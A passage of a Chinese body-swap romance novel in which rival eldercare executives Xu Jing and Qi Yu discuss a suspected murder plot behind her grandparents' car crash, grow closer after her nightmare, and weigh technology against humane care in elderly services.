临走前许暻又去了吴奶奶的床前看她,见她还能笑着和她说话,悬着的心也彻底放下来,再三嘱咐所有的工作人员之后,才和祁聿一起离开。
……
祁聿带许暻去了家私人会馆。
安静的包厢内,桌上是这里特色的珍馐美馔。
不过许暻暂时没有吃饭的心情。
“祁总,现在能说了?”
祁聿仍有保留,再三铺垫:“许暻,听我说完之后,你一定要冷静,不要乱想。”
他的双眸凝定,透着一片严肃的郑重。
许暻不由得跟着心口一紧。
迟疑之后,她点头应好。
然而祁聿接下来的话却让她无法再保持镇静。
“或许还有另一种可能,张启林知道了我在调查他,因为他…他可能跟许爷爷和许奶奶当时的车祸有关。”
祁聿的话明显难以说出口,一句话停顿再停顿,双神紧紧攀附在许暻身上,生怕她情绪失控。
“什么?!”许暻猛地站起身,宽大的手掌在桌上拍出沉闷的响声。
好在祁聿及时握住她的手腕,言语完全没有了寻常的冷淡,反而极尽可能地放柔:“你先坐下来,先听我说。”
事情关乎爷爷奶奶,许暻的情绪再怎么样都无法轻易平静。
祁聿又接着说:“这一切也都只是我的猜测、我的怀疑。”
那是许爷爷、许奶奶刚出事的时候,祁聿知道车祸是被判定为意外,是肇事司机开车技术不当,车速过快,后来司机被吊销执照,无期徒刑。
本来这一切不管怎样看上去都是一场意外,祁聿却无意发现张启林和肇事者的家属见面。
张启林提着一个箱子在某小区门口和一个女人碰面。
那个女人祁聿在陪许暻去警局时见过一面,是肇事者的妻子。
女人面露愁容,脸上还有未干的泪痕。
女人曾在警局哭诉过家里还有一个身患重病的孩子,原本就凑不够医药费,这下家里唯一的劳动力也没有了。
两人往里走,祁聿
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悄悄跟了上去。
小区的位置偏僻,环境也很差,窗户边是已经生锈的铁网。
女人住在三楼最里面的一户,这一楼好像只剩了他们这一家。
祁聿先是藏在拐角见两人进了屋,随后又蹑手蹑脚靠近。
窗户没关,他小心翼翼地凑近窗边,屋子里的人正背对着他。
张启林带来的箱子已经被打开,祁聿只听见他说:“…他出了事你们也不容易,这是我们企业给家属补偿的一点心意,带着孩子好好去治病吧。”
箱子里装着满满的现金。
紧接着,女人‘扑通’一声跪在他跟前,泪流满面,嘴边无尽感激:“我们家阿强遇上您这么一个好老板,是我们一家的幸运,谢谢您、谢谢您……”
以为只是老板听说员工出事来救济他家里的戏码,祁聿还是让刘助去查了一下那人是不是在怡康工作。
然而结果却令祁聿生了疑心——
肇事者并不是怡康的员工,和怡康也没有任何关系。
既然如此,张启林又为什么会自称老板送钱给女人?
有了怀疑的种子,祁聿之后一直在关注张启林,却基本没什么异常,直到半年前怡康突然宣布破产,张启林也有一阵子失去了消息,后来又说这块地要转卖。
祁聿当初想收购怡康,一来确实是为了建产业园,二来也是为了想探探这背后的秘密。
然而张启林却自降身价把怡康卖给了桐馨。
“所以你怀疑是张启林收买了那个肇事人制造了爷爷奶奶的车祸?”许暻眉头紧锁,额间刻出深深的纹路。
祁聿摇头,“我没法确定,因为没有任何的证据,之前我尝试去过警局约见那位肇事者,但他说谁来都不见,所以也没办法印证。”
原本这一切,都只是祁聿的怀疑。
可偏偏这一次颐安的事却扯上了张启林。
许暻眉头拧得更紧,祁聿又接着说:“还有张奶奶的事,她之前也是怡康的老人,你还记不记得,当时医生转述过张奶奶离开怡康后消失了一阵子,这段时间没人知道她在哪,直到我们灵魂互换的那天。”
“恰好张奶奶还可能认识许爷爷,而张启林也在张奶奶住进来之后偷偷进了颐安,又偷偷到了张奶奶的房间附近,他可以是针对我,也可以是因为我针对颐安,更可以是针对张奶奶。”
这些消息一时间根本无法完全接受,许暻只觉得脑子越来越乱、事情越来越复杂了。
好像在无形之中串起来了,可许暻却想不出这些事背后的缘由。
“可爷爷奶奶和张启林也没有冲突,更不是敌对,以前桐馨和怡康更是合作伙伴,他又为什么要害爷爷奶奶?”
许暻的疑问也正是祁聿的疑问。
手掌从她的手腕渐渐下移,不知道什么时候扣在了她的手背,他又正色道:“这也是我的疑问,张启林虽然可疑,却没有哪一条证据是指向他的,所以我猜想这背后或许藏着更深的秘密。”
祁聿所有的话都说完了,可许暻又隐隐觉得他还保留了什么。
不等许暻深想,祁聿又郑重嘱咐:“这件事你不能跟任何人提起,万一我们的猜想是真的,打草惊蛇就更不可能找寻到真相了。”
30. 氧气+30
许暻盯着祁聿看了几秒,视线又缓缓下移,注意到被他裹在掌心的手,微暖的温度在相贴的皮肤上来回传递。
她难得没有挣脱。
话语在唇边徘徊了片刻之后,许暻才开口:“那你打算怎么办?”
‘和谐’的因子难得出现在两人交汇的区域,许暻见他唇边漾开淡淡的笑,不紧不慢道:“先等警察那边,如果有证据,能抓到背后那人自然是最好,如果抓不到,颐安不出事,那人肯定也不会就此罢手,等着他后面的动作,我们做好防御。”
许暻和祁聿想到了一块去,等着他后面的话。
然而祁聿没了下文。
“吃饭吧。”祁聿收回了抚上她的手,指着腕表的时间,一番折腾下来,时间已经很晚了。
桌上的菜也有了转凉的迹象。
许暻却迟迟不肯动筷。
心口隐隐失落。
她以为祁聿会意识到背后真正的问题,以为他会有改变的想法。
略显尖锐的目光落在他身上久久不移。
那人似乎也早就熟悉了她这种眼神,刚拿起的筷子又慢慢放下,扬起一番熟悉的架势。
空气里的和谐悄然褪去,不知道什么时候被不协调的冲突因子完全取代。
许暻渐渐捏起拳头,做起了心理建设。
只是她的‘盾’刚刚架好,祁聿抛出来的却不是‘矛’。
他仿佛完全了然她的心境,眼眸悠悠转向她,语气却不似从前那般冷傲:“我知道你想让颐安有所改变,你放心,今晚的事我不是没看到,问题我也不是没有意识到。”
许暻微愣,建起的防御瞬间崩塌,准备好的拳头落在了软棉花上。
这种感觉——
不太妙。
祁聿略作沉吟,又接着说:“只是颐安不是我一个人说了算,我上头还有董事会,况且科技养老是我们的宗旨,不是说改变就能改变的。”
“你大可以接着推行你的科技养老,但科技养老或许并不意味着不能和人文并重,或许这二者根本就不冲突。”许暻脱口而出,大脑的反应甚至慢过了嘴。
此话一出,两人同时愣了一下。
她自己也没想到会说出这种话来。
这些天已经听够了祁聿的观点,再加上被李董约谈,潜意识就不自觉想反驳这个观点。
只是没想到自己会是这样反驳。
以前最看不惯科技养老的人当属于她,觉得人文始终高于科技的更属于她。
视线陡然交汇,两个人都定格在了那里。
谁都没有移开视线,谁都没有急着开口。
一种莫名的诡异裹着一抹酸甜在心口翻涌,许暻觉得好奇怪:
她的话好奇怪,祁聿的视线好奇怪,他们之间的气氛好奇怪。
原本思路清晰的大脑又逐渐混沌起来,脑中无数思绪汇聚成团,弯弯绕绕、来回窜行,许暻已经不知道自己在想些什么。
这具不属于她的身体在慢慢升温。
心口震动的速度和频率逐渐加快,双眸也快坚持不下去了。
在她要彻底崩塌之前,祁聿突然笑了。
许暻从没见过他这种表情。
不含嘲讽、不含讥笑、不含挑衅。
只是纯粹的笑。
然后说:“或许这是个很好的想法,可是变革是需要时间的,更需要结合实际考虑,你给我点时间,我好好考虑一下,再征求董事会的意见。”
许暻闻言不语,两只手在桌下悄悄扭在了一起,动作稍显拘谨。
谁知她还没完全冷静,祁聿又道:“或许未来,我们也能走向合作。”
最后又刻意拖长尾调:“小暻。”
“……!”
前面几句话许暻都还没来得及消化,最后两个十分清晰的字骤然滚入耳际,顺着耳道迅速往里延伸,仿佛在身体里无形中长了只手出来,狠狠捏了一下最重要的那颗脏器。
那只手似乎还带着滚烫的温度,让脏器里泵出的血也逐渐沸腾起来。
许暻觉得这具身体瞬间烧起来了。
完全随了它原本的主人。
两只交缠的手捏得更紧,混身都十分不自然,许暻根本不敢转眸。
周围的空气好像也变得稀薄,她完全吸不到氧气,呼吸只能放缓、再放缓。
脸颊的反应却很真实,随着身体里的火烧得滚烫。
许暻感觉祁聿还在盯着她看。
为了不露馅,许暻‘蹭’地一下起身,全然忽略祁聿的话,“我去一下洗手间!”
她落荒而逃的背影消失在祁聿的视线里,祁聿恍然笑笑,指腹不自然地摸了摸发烫的耳垂。
空旷的洗手间里,许暻伏在洗手池前不停用冷水给身体降温。
耳边不断回荡着那句“小暻”,这两个字就像是魔咒一般,把其他的话完全挡在了外面。
她心理又不断暗示自己:这只是个称呼、只是个称呼而已……
而且那句称呼更是从她‘自己’嘴里说出来的,有什么大不了的?
然而不管几捧冷水泼过来、不管做多少心理暗示,这一次好像都没什么用了。
这一招好像不太能骗住自己了。
蓦地,许暻一慌。
手上的动作停住,她仍弯着腰伏在水池边,看着不间断的水流,低声自语:“什么骗住自己?明明是实话呀,就是一个称呼而已!”
决定站起身,刚关上水龙头,又被镜子里映出的人影吓了一跳——
‘祁聿’正和她对视。
再次腹诽:果然是个阴魂不散的家伙!
身体里的火苗并未熄灭,许暻又泄愤似的拍了拍‘祁聿’的脸。
她深吸了一口气,想再度暗示自己,却被身旁陡然伸过来的手帕惊扰。
“你没事吧?刚刚看你一直用冷水泼自己。”一道温和的声音闯入。
许暻惊呼一声,以为是陌生人的关心,正欲道谢,定睛后却撞上一副熟悉的面孔。
“吴医生?好巧,你也在这儿?”
对方明显愣了一下,稍稍颔首后试探问:“不好意思,我们认识吗?”
许暻才意识到她现在是‘祁聿’,吴医生不认识‘他’。
她接过手帕道了谢,解释道:“是我认识您,我是宋楹的朋友,我叫祁聿。之前听她提起过,见过您的照片。”
那人脸上闪过一丝惊喜,温润的脸上绽开舒缓的笑,“是吗?说来也巧了,今天我恰好是约楹楹过来吃饭的。”
听言,许暻像是抓到了救命稻草一般,即刻拉拢吴质昇:“这么巧?那不如我们一起?许暻也在,我们订了一个大包厢,顺便大家也都认识认识!”
许暻知道,吴质昇追了宋楹很久,之前还是她去医院接宋楹才认识这位吴医生。
几番熟络之后,许暻了解到这位吴医生十分有毅力,他也知道宋楹有一个前男友,宋楹等了他五年,那人都没有出现。
第一次表明心迹时
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,他被宋楹拒绝,却没有气馁。
他向宋楹坦白,如果宋楹真的忘不了那个人,他就慢慢等,如果宋楹最后能接受他,他会毫无保留地爱她,如果宋楹最后还是无法接受他,他就做那个默默陪伴的朋友。
所以有机会认识宋楹的朋友,吴质昇是断然不会拒绝的。
吴质昇思虑片刻,说先去问问宋楹的意见。
许暻:“我跟您一起去!”
吴质昇没有一点架子,语气谦和:“祁先生不用客气,叫我吴质昇或者小吴就好。”
……
多了两个人的包厢内,祁聿有些意外,但还是起身招呼。
宋楹为几人介绍之后,和吴质昇一起在两人对面落座。
熟悉的饭局,宋楹自然忍不住调侃:“二位这是来约会来了?”
许暻看到她的视线停在她的脸上,悄然瞪了回去,示意她别跑火车。
她几乎是咬着字回答:“哪有?是今晚养老社区出了点事,没时间做才过来。”
许暻本意是拉两人来转移注意力的,担心宋楹嘴上又把不住门,又别开话题:“你们呢?你们怎么也来这儿了?”
提及此,宋楹果然收敛了些。她解释说是找了吴医生看张奶奶的那块病变皮肤,想还他人情才请他来这里吃饭。
吴医生倒了杯温水放在宋楹跟前,那张和煦的面容上笑意依旧,稍稍转向宋楹:“是你太客气了,不过能和你吃饭,是我的荣幸。”
他的声音似乎总是这般柔和,像是暖春里的清泉,清润又带着些温度,听上去总能让人轻易平静下来。
许暻见过他的几次里,他一直都是这样,对宋楹更是如此。
可宋楹对他没感觉。
她只把他当朋友。
许暻看到宋楹莞尔笑笑,又极具分寸感地说了声“谢谢”。
脑际倏然回想起在怡康的巷口看到的那抹身影,她下意识想说出来,却又突然止住。
身旁的祁聿捕捉到了她犹疑的神色,低声询问:“有话要说?”
许暻一惊,眼神慌乱避开,摇了摇头。
吴医生还在,况且她不能确定她看到的是不是那人,更何况…那人如果真的回来了,不应该不出现在宋楹面前才是。
于是她接了刚才宋楹的话:“那吴医生能看出来张奶奶是什么状况吗?”
宋楹把话头递给了吴医生,他点了点头:“我找了我们科室的主任探讨过,我们一致认为这块皮肤应该是某种刺激性药物引起的病变,不过仅凭图片还不能确定,我的建议是带老人来我们医院做个全身检查。”
许暻自然愿意,又让宋楹帮她约个号,她到时候带张奶奶过去。
话音刚落,祁聿也插了一嘴:“到时候我也去。”
许暻瞟了他一眼,他却好整以暇地盯着她笑。
念及吴医生在场,她匆忙收回视线,专心吃饭。
全然没注意到对面的宋楹眯眼凝她,又了然扬唇。
……
回到了只有两人的空间里,许暻又变得不自在起来。
下了车,她不想和祁聿一起上楼,火速往前冲,试图在祁聿走到电梯口前关上电梯门,却还是被他赶上。
进了屋,她想赶紧换鞋回房间,又被祁聿抢在前面,偏偏这人的动作还慢,她等了好一会才拿到她的拖鞋。
换了鞋,许暻大步冲回房间,才打算关门,祁聿不知道什么时候已经跟上来,单臂抵住她的房门:“你躲着我干嘛?”
31. 氧气+31
许暻还想抵抗一下,仗着自己在这具躯体中,使出了最大的力气抵门。
偏偏结果不如人意,‘祁聿’的力气没能敌过‘她’。
片刻的纠结后,许暻干脆地放弃挣扎,双手状似满不在乎地摊了摊,一脸坦然:“我什么时候躲你了?祁总,今天累了这么久,我想早点睡觉还不行吗?”
说起来不占理的好像是他才对。
心里却忐忑不安,只偷偷祈祷他千万别提包厢那会儿的事。
可祁聿的嘴像是装了定位器一般,精准提及。
换句话说,他就是冲着那会儿的事来的。
“不耽误许总太久时间,我只想问问许总,是不是不能叫你小暻?”
闻言,许暻呼吸一滞,内里更加忐忑,却不敢泄露半分,依旧强装镇定。
她试图用最轻松的语气开口,却在尾调不小心发颤:“当然可以啊,大家都叫我小暻,你想叫就叫咯。”
说完她自己都想咬断舌头——
最后一句完全垮掉,颤音过于明显,她甚至还看到对面那人嘲笑她。
许暻觉得祁聿这辈子笑得都没今晚多,他挑着唇,从‘她’的神色中流露出他的几分炽热:“是么?那你脸红什么?”
秉持着不服输的信念,许暻一手撑着腰,依旧嘴硬:“我没脸红啊,本来就无所谓啊,这是你的身体,你就是这种体质,稍微动一下就这样了。”
说完连她自己都想笑,她这说得都快语无伦次了。
都怪祁聿的脑子和嘴,完全跟不上她的意识!
她赶在祁聿再次开口前又搬出上次两人‘接吻’的事来证明自己的‘坦然’:“我们都认识这么多年了,一个称呼随便你怎么叫,你看上次我们还试着接吻换回去呢,可惜那是个失败的办法,那也没什么呀。”
好不容易吐完最后一个字,许暻更后悔了,感觉自己越说越奇怪、越描越黑,反而有种欲盖弥彰的感觉。
祁聿盯着她看了一会儿,像是在思忖什么。
许暻背后沁起一层薄汗,两条腿忍不住轻轻发颤,空出来的手紧握着门边沿,把身体大半的力都压在了门上。
两只眸子依然强势地对着祁聿,绝不轻易败阵。
对面那人嘴角弯起的弧度更深,完全不做遮掩,两只纤细藕白的胳膊被他慢慢抬起,横在胸前。
语气轻松,隐隐带着几分撩拨:“所以许总是觉得这一切都没什么喽?小暻?”
闻言,胸腔里的心脏快要跳到嗓子眼儿,许暻全身上下没有一块肌肉不在发力,憋得眼眶都有些发酸。
搂腰的手故作轻松地在额前轻扫几下,声音依旧颤得厉害:“当然,你爱叫叫呗……”
许暻感觉自己快要哭出来了。
那人的视线依旧炽热如火,一阵高过一阵地灼烧着她。
他又盯着她看了好一会,似乎是在确认什么,想开口,但还是憋了回去。
最后只朝着她点了点头:“好,我明白了。”
手又在她肩上拍了拍:“早点睡。”
“小暻。”
许暻锁紧了门跑回浴室,刚才的硬气一扫而空,眼角溢出了些生理泪水。
好不容易松了口气,她猛地吸了吸鼻子,然而再抬头时,她是真的想哭了——
镜子里的那张脸像是深秋红透的苹果,更像是在沸水里溜过一圈的。
不仅是脸颊,血红蔓延到了整个脖子和耳后根。
怪不得脸上这么烫!
她刚刚就是这么在祁聿面前强撑镇定的?!
那这张脸算是全丢完了。
两只眸子无论如何也不再去看镜子里的映像,甚至特地开了冷水,站在花洒下捂着脸,让冰冷从头到尾给这具身体浇灌个透。
太丢人了。
她在祁聿面前丢人丢大了!
……
一个小时后,许暻换好睡衣,一头埋进被窝。
房间里漆黑一片,灯早就被她关了。
带着最后一点尴尬,闭着双眼,不停安慰自己:没关系,祁聿都没说什么,她就当什么都没发生过就好了。
一个没有任何意义的称呼而已,听习惯就好了。
就当今晚是个平静的夜晚,她不也在会议室压了他一头?
他们只是恰好扯平了。
许暻如此‘催眠’自己,身体也在经历了今晚的事之后十分疲惫。
不过几分钟,就足够她进入梦乡。
这一觉她睡得却不太踏实。
脑海中想着祁聿的那股劲过去了,埋在心底的旧事便被重新忆起。
梦里一片混沌,许暻恍然听见轮胎摩擦在地面的刺耳声响,紧接着就是金属重物在地上摩擦的声音,周围的过客惊呼,有的人声音急切,有的人还没回神。
眼前是漫无边际的白,许暻拼命想睁开眼看清到底发生了什么,却始终是徒劳。
不知道过了多久,救护车急迫的声音越靠越近,周围的人群好像也都散了。
白茫瞬间被扫荡开,许暻已经能看到救护车上下来了好几个医护人员。
她顺着他们的身影看去——
血……好多血……
深灰的道路上被鲜红浸染,空气里已经弥漫有渐浓的血腥味。
许暻心口一紧,视线缓缓移动。
那血是从一辆完全翻转的车里涌出来的,所有医护人员正在想办法把车里的人拉出来,她甚至能听见他们愈发急促的呼吸声。
她想上前帮忙,身体却像是被什么东西禁锢圈在原地,动弹不得。
直到医护人员已经将车里的人拉出来。
许暻瞳孔骤缩,目眦欲裂,眼底的泪水瞬间涌出,模糊了视线。
她大吼出声:“奶奶!爷爷!”
两张熟悉的面庞上裹满了血,他们像是晕了过去,胸口和腹部却还在往外喷着血。
许暻想挣扎身体莫名的禁锢,全身却像是软了力一般。
她拼命往前,可越用力,眼前的一切离她就越远。
她站在那里不停嘶吼,双手不停扑腾,却没有一个人能听见、能看见:“爷爷…奶奶……不要……不要啊……”
脸上被湿润糊满,许暻根本顾不得擦拭眼泪,继续挣扎。
不知何时那禁锢突然弱了些,她趁机往前,却在迈出两步之后,车辆突然爆炸,剧烈滚烫的热浪泼在她身上,恍然间,她看到了一抹熟悉的人影。
许暻猛地睁开眼,大吼一声:“不要!”
许暻从床上坐了起来,眼前仍是漆黑一片,什么也看不到,只能听见自己慌乱的呼吸。
她愣了足足有一分钟。
意识后知后觉回笼,漆黑中她也逐渐看清了房间的轮廓。
伸手去开灯,眼前却模糊一片。
抬手揉眼,摸到了一手湿润。
鼻腔里的酸意未止,她又赶紧抽了几张纸胡乱擦净脸上的泪。
好不容易冷静下来,她却完全没了睡意。
已经很久没有梦到爷爷奶奶了。
那天的画面,她以为自己快忘干净了。
一年后再想起,心口还是绵延不断的钝痛,压制着呼吸。
是因为祁聿提起
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了爷爷奶奶的事吗?
她甚至已经分不清是不是心理作用,在梦里看到了张启林。
爷爷奶奶的车祸真的不止是意外吗?
真的和张启林有关吗?
她突然拿过手机想联系爸妈,却又后知后觉她现在是‘祁聿’。
深深的无力感瞬间浸透每一根神经,许暻忽然有些不知所措。
她该做些什么?
她该怎么去印证?
是继续认定这完全是一场意外,还是主动去查清这件事到底是不是张启林做的?
这个问题浮现之后,许暻觉得已经不需要做选择了——
她当然是该去查清这件事。
整个后半夜,许暻依旧难以入睡,躺在床上辗转反侧,许多过往悄然浮现在脑海中。
爷爷奶奶都是学医出身,只不过爷爷学的中医,奶奶学的西医,许暻受两人的影响,从小对医学就充满了兴趣。
爷爷带着她认各种中药材,奶奶带她见过了许多解剖模型。
可更多的,是他们给了她无尽的爱。
许暻的父母工作忙,大部分时间许暻是跟着爷爷奶奶。
她爱吃蛋糕,奶奶无论刮风下雨也一定给她买到,甚至专门为她学着去做低糖蛋糕。
她爱读一些经典名著,但小时候字还认不全,爷爷总是极尽耐心地给她读,又一遍一遍为她解释那些生涩难懂的句子。
偶尔闹脾气,爷爷奶奶总是想着法子逗乐她,一直哄着她,一声又一声“小暻”地叫着,直到她高兴。
不仅如此,两位老人也跟着她‘与时俱进’。
休息日,他们仨挑一部不错的电影,买好看电影的经典搭配,看完后还能其乐融融地一起探讨;
许暻毕业那年,两位老人家更是陪着他们一群小孩去毕业旅行,完全融入,和他们一起喝奶茶、拍‘自由大片’、在沙漠里看星星,一点不扫兴;
许暻进了桐馨之后,也是自媒体正盛的时候,两位老人主动学起了经营账号,在互联网上传播他们桐馨的核心理念,所有的视频都是许暻帮他们拍的。
泪水不知不觉再度盈满眼眶,簌簌落下。
从最初的平静,到最后的失控,许暻完全忍不住,喉间压抑的声音也逐渐从嘴边溢出。
情绪抵达崩溃的边缘,胸口的抽搐越来越频繁,她试图用被子捂住脸压低声音,效果却不明显。
最后哭得鼻子有些堵,周围的氧气稀薄,眼角酸得快要睁不开。
她听见门外一阵响动,门把手在外被人拧了几下没拧开,她听见祁聿在叫她:“许暻?怎么了?”
意识想止住哭声,身体却不从,更别提回应门外的人。
门内哭声依旧,门外的人好像离开了,没多久又折返,拿钥匙开了门。
那人在看清床上的人时,脸色骤变。
他跨步上前,坐稳在床边,许暻却往被子里躲,不愿让他看到自己现在的狼狈模样。
然而祁聿却拽开了她的手,又把被子掀到一边,让她无处可躲。
他不知道哪里来的力气,两手握住她的胳膊,逼着她坐稳,语气却又温柔得不像话:“哭什么?”
许暻还在抽噎,正是脆弱的时刻,他如果像平常那样冷淡还好,偏偏又是转了性一般的温柔,精准地戳在了她心口的柔软处。
许暻也不知道是从哪里冒出来的念头,看着眼前模糊的人影,一个冲动,就那么抱了上去。
头埋在他的颈窝,哭得更厉害,话语断断续续地从嘴边流出:“爷爷…奶奶……我梦到……梦到爷爷奶奶了……”
32. 氧气+32
祁聿下意识把人接在怀里,双眉紧皱,手掌轻抚她的后背。
她的话一出,他便一句话都说不出口了。
看向她的眼眸中满是担忧,带着明显的愧意。
有些后悔,是不是不该告诉她张启林的事。
又有些懊恼,倘若此刻是自己的身体,或许更能给她宽慰。
祁聿深吸了口气,再抬眸时,眼角已经围了一圈淡淡的红。
许暻一味地收紧胳膊,在他身上发泄情绪。
不知怎的,这一刻,他身上的那股雪松香能给她带来莫大的安全感。
祁聿第一次经历这种事,他不知道该怎么安慰怀里的人,几次斟酌之后仍然难以开口。
最后只好抱着她,等着她平复。
窗外的月亮已经移了好几次位置,白雾渐浓,黑夜被慢慢吞噬。
许暻哭累了,眼睛也哭肿了。
神绪逐渐清醒,看到祁聿肩头被她糊满的湿黏,更加心虚,又觉得脸上没面。
她低着头退离他的怀抱,始终不敢看他一眼,别过头,用着他的声音道:“我没事了。”
染上了哭腔的祁聿的声音带着浓浓的鼻音,像是陈酿许久的酒液,醇厚中混着一丝性感。
许暻突然觉得羞耻。
床边的手机自动亮屏,这会已经五点半了。
也就是说,祁聿在她的房间里待了两个小时,他们抱了两个小时。
拼命扫去脑海中的想法的许暻整个身体都蜷缩在一起,放在被子下面的手紧紧捏拳,想让祁聿快些出去。
祁聿却不如她所想。
两手被拽出来,许暻想反抗,下一秒,微凉的湿纸巾便触及皮肤,她稍稍一哆嗦——
祁聿在帮她擦手上的污迹,她自己都没注意到什么时候弄手上了。
嗓音稍稍嘶哑,带着一丝疲惫,却仍然温柔:“擦干净,还能再睡两个小时。”
只是许暻又觉得他的温柔好像和别人的不太一样。
旁人的温柔是暖意融融的旭日,祁聿的温柔却像徐徐燃烧的火苗,随时有变得炽热的趋势。
这完全不像他。
可现在不是纠结这些的时候,她想他赶紧离开。
抢过他手里的湿纸巾胡乱擦了擦,便开始赶人:“好了,我擦干净了,我想再睡会儿,你出去吧。”
几乎使了全部的力气把祁聿推开,那人微怔,顶腮后又莫名嗤笑一声:“行,我出去,许总用完就扔,可怜的是我呗。”
他故意调侃,许暻不接话,转过身去背对他,又把被子裹得紧紧的。
她听见那人在背后停留几秒,又退出去帮她关好了门。
许暻瞬间松了口气,身体确实很疲惫了,来不及想太多,又沉沉睡去。
再醒来时,手机闹铃已经响了好几次。
带着些许困意起床,许暻随便弄了弄头发,换好衣服打算出去泡咖啡。
没成想祁聿又比她早起。
朦胧的睡意在厨房撞上他时瞬间消散。
他借力让她站稳:“还没睡醒?”
虽然没有了夜里陌生的温柔,却也没有了寻常讨厌的冷淡。
许暻动作有些不自然,顺手挽了挽耳边根本不存在的长发,直接去拿那杯磨好的咖啡,又在小筐里抓了两包糖,准备出去。
手却被祁聿拦住,他把糖放了回去,又解释:“已经放了两包糖,直接喝就行。”
“……哦。”
许暻更加不自然,赶紧甩开他的手去餐厅坐下。
不知不觉间,意识已经习惯等着他送早餐到她跟前。
今早祁聿煮了面。
本来也算是寻常,偏偏他又刻意解释一嘴:“昨晚哭了那么久,肯定消耗了不少能量,多补充点碳水。”
“……”
许暻觉得他是故意的,脸皮有些酸疼,还是不接茬。
她一味地埋头苦吃,想赶紧吃完了去公司,今早还有个会要去确认养老社区要加的新设备。
许暻想当一切都没发生过,可她身旁那人却明显不这么想。
许暻不给他回应,他隔一会儿就提两句。
“今天记得多喝点水,补充点水分。”
“你房间里湿纸巾快用完了,我一会给你再放点进去。”
“你补觉补得怎么样?哎哟我这腰酸背痛的,尤其是肩膀这里,好酸好酸。”
“……”
许暻感觉这具身体的脸皮要被它本来的主人完全剥下来了。
许暻麻溜地吃完最后一口,快速擦嘴,装作什么都没听到:“我吃完了,先去上班了,祁总真是辛苦了,回见!”
这一次她跑得比鸭子还快,短短三十秒,人已经在电梯里。
心跳跟打鼓似的在耳边阵阵发响,她自动屏蔽尴尬,继续麻痹自己,又调出了车载音乐里的几首摇滚转移注意力,去了公司。
刘助照例进来做会议前的确认,却在撞上‘祁聿’那双红肿的眼眸时稍稍愣住。
停留的视线被许暻发现,她摸了摸脸:“我脸上有东西?”
鼻音还有些重。
刘助又是一惊,抿了抿唇,试探性问:“祁总,您这是…遇到伤心事了?”
刘助问得还是委婉。
许暻稍微语塞,没解释:“没事,你接着说。”
……
今天的会议算是上一次会议的后续。
上次的那几个提案,祁聿都在邮箱里看过了,最后筛选了几个出来,又告诉了许暻怎么简单判断他们的方案内容是否达标。
智能棋牌室和广场舞教学系统都在列,app有了初步的雏形,后续还需完善。
当时许暻没听的方案里,祁聿又挑了几个重科技的提案。
一个是机械臂按摩推拿,还有一个是机器人陪伴。
有了前车之鉴,这次的几个汇报人都悻悻捏了把汗,生怕上司又一次发脾气。
许暻看着他们的幻灯片以及印出来的方案内容连连皱眉,却还是忍着心底的别扭。
她是收了祁聿的钱的,她应该冷静。
况且她已经很明白,颐安是个科技公司,这里不是桐馨,她此刻也不是许暻。
许暻耐着性子看完了这些提案,也听完了他们的汇报。
说实话,她心里并没有什么怒气,更多的是别扭——
这些方案做得很好,汇报也相当成功,可行性分析也做得相当不错。
然而她却没有赞同的勇气。
倘若她完全认可这份‘冰冷’的科技养老方案,是否是对人文的背叛?
昨晚她自己说的那句话悄然闯入脑海中:“但科技养老或许并不意味着不能和人文并重,或许这二者根本就不冲突。”
胸口升起一阵复杂的情绪,她有些出神。
还是刘助的声音将她拉了回来:“祁总,他们都汇报完了,您看结果是?”
许暻盯着前方ppt的尾页,关了文件夹,“先散会吧,稍后给你们答复。”
说完,她回了办公室。
会议室里的人还没急着走,又在刘助这里探消息。
“刘助,祁总今天又怎么了?感觉他整个会议都心不在焉的。”<
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“是啊,而且那眼睛,那鼻音,祁总失恋大哭一场了?”
刘助夹在好几个人中间,语气无奈:“我还真不知道,他也没说。”
“那咱们今天这汇报还能不能成了?”
“我看够呛,咱们祁总虽然没再发脾气,但我看他也不太高兴的样子。”
“瞧你说的,万一人真失恋了这能高兴吗?”
“祁总如果真的和许总出了问题,那咱们不就又回归纯科技了吗?”
会议室里议论纷纷,刘助及时止住流言:“好了都出去工作吧,祁总不会影响工作的,至于大家的提案我会盯着那边的,都散了吧。”
……
办公室里,许暻还在对着那几份提案发呆。
刘助进来问提案的结果,她只说让她再好好看看,她心里有数。
安静的空间里,许暻翻了又翻、想了又想。
机械臂按摩可以分担一部分人力、节省时间;机器人陪伴是站在那些对科技产品感兴趣的老人的角度去研发的,同时也能弥补一部分人力的缺失。
确实,有的老人确实对科技产品更感兴趣,比起一配十、年龄大多相差无几的护工,他们或许会更喜欢先进新鲜的玩意儿。
眉头仍旧紧锁,许暻主观打断了思绪,不愿再继续想。
她莫名站在了以前从没想过的角度,心口盘旋着几分挣扎。
是被颐安的工作环境影响了?还是被祁聿影响了?
又或是……被她自己影响了?
靠在椅背上不断平复心绪,却越来越怅然。
她有些烦躁地推开了面前的文件,电脑旁的一个小物件被带动着滚了滚。
定睛看去,是祁聿之前给她的u盘。
当时他说让她有时间可以看看里面的东西,她一直没看。
这会情绪难以平静,她干脆插好了u盘,在电脑里打开唯一的一份文件。
看到里面的内容,情绪非但没有平静,反而掀起了更汹涌的浪潮。
里头是颐安的核心发展历程,确切地说,是从祁聿视角出发的科技养老的发展。
图片和文字的排版整洁,图片应该是祁聿自己拍的,文字也类似于他的独白。
一张老人戴着智能手环的图片底下配文:这是我做的第一支智能手环,能够实时监测生命体征,也有语音助手陪老人聊天,可以有效缓解孤独感,有效节省人力测量生命体征的时间。
他定做的那些统一化菜谱和作息图片配文:根据每位老人的体征平均计算每日所需摄入食物的种类与克重,计算所需的睡眠时间与活动时间,能有效降低饮食与睡眠风险,且能够贯彻健康生活。
智能护理床的图片下配文:根据老年人可能存在的压疮、频繁起夜、体位多变等情况研发,能减少人力监测时的失误,且能减少压疮发生情况与跌倒风险,更能节省人力。
等等等等。
长得像是翻不到尽头的文件,是祁聿从进颐安起研发每一项科技养老产品的记录。
她蓦然想起自己写的那一本记事本。
虽然他们的侧重点不一,但她看到了他们相同的心境。
明明这份文件也不像是一个情感冷淡的人写出来的,明明他是从节省人力的出发点去发展科技养老,怎么嘴上又总是说着那么傲气又目中无人的话?
许暻看得眼睛有些酸胀,停了下来。
重新靠回椅背,心口又多了几分复杂。
正纠结着,刘助又进来了:“祁总,社区那边打电话过来说吴奶奶想当面感谢您,十分期待您去社区一趟。”
33. 氧气+33
许暻一个激灵,对于老人的要求,以前在桐馨她是有求必应,在颐安也不例外。
她点点头:“我知道了,下午你跟我一起去一趟。”
刘助稍微意外,没想到‘祁聿’会答应得如此爽快,不过还是打算出去准备行程。
然而他才转身,许暻又把人叫了回来。
